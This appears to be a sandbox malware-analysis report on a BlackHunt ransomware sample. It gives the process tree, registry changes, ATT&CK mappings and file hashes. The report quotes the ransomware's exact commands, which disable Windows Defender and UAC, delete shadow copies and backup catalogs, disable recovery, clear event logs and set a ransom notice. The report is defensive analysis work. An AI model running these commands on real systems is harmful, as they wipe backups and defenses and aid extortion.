436 2900 cmd.exe 50 PID 2900 wrote to memory of 436 2900 cmd.exe 50 PID 2672 wrote to memory of 556 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 51 PID 2672 wrote to memory of 556 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 51 PID 2672 wrote to memory of 556 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 51 PID 2672 wrote to memory of 556 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 51 PID 2672 wrote to memory of 1088 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 53 PID 2672 wrote to memory of 1088 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 53 PID 2672 wrote to memory of 1088 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 53 PID 2672 wrote to memory of 1088 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 53 PID 2672 wrote to memory of 1460 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 56 PID 2672 wrote to memory of 1460 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 56 PID 2672 wrote to memory of 1460 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 56 PID 2672 wrote to memory of 1460 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 56 PID 2672 wrote to memory of 2216 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe"C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2672 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:1204
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:1376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2604
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2572
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:3044
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:3056
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:840
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:268
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1632
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:584
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:3048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1088
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1460
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2216
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1520
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2620
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2784
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2780
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2860
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2932
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2776
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1952
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:844
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2500
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1996
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2472
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe" /F2⤵PID:2648
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe" /F3⤵
- Creates scheduled task(s)
PID:1796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2348
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2988
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2416
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:464
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2132
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1132
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1964
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:816
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1556
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:892
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
- Modifies registry class
PID:1376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:904
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:1248
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2228
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3160
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2504
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3268
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3296
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3264
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3560
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3572
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3540
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3652
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3628
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3700
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3612
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2464
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3864
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3932
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3988
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3880
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:4028
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3916
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:664
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2880
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1852
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2700
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe"2⤵
- Deletes itself
PID:1520 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:268
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1720
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1996
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2956
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
12KB
MD5d88f84276700d7699b24e04f737bbaad
SHA1c77b7f962fbfbc2b6b5dfb8b1a3e429d0528aea1
SHA25602e2cf5e3367204987728786a29a8ad2794fc4ca5c78b4bd7b48a29a5527f2fe
SHA512d93ccaf775972f233e7664884e9fe7e6694ac34ff3ebca3e7c67637d8f09b10988a73080c403e06570319a5c824de354af373c06ffa1bec972890d1268861443
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Filesize
1KB
MD55afaf8c08ddce8f20ef885533408d880
SHA126b48311cd1b84c0dd91b124fb84608f1264a664
SHA256b7d364158985c26e8af52af1e2c2c7df19c213ab9b98d3f22d64d19b791c1319
SHA512780de38b0a2fc696752a55fedae7c81b8a6e698c19941b5e5b40cb766d2e6bcac2991316f656dd293773e4a72c240114d1a369e2040e9043ac2d166ed8863b5d
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Filesize
684B
MD5cc61afd185f45e214c096dd30ea1f221
SHA195138e4139fc634989f8c5680f9cb9b1a3075dcf
SHA256379b54cc4a9af5ad41317861c8c508d140836a00ed8030e832858e4a45737ba8
SHA51243a5677dbbcd8569f4b66009d6fc981fcc3b1da41ab46e8a11127cb88bb997c3e9c7b39a53d0f16859656ffc5b2fc80f09930a2c691142ac5717d8038a7c8033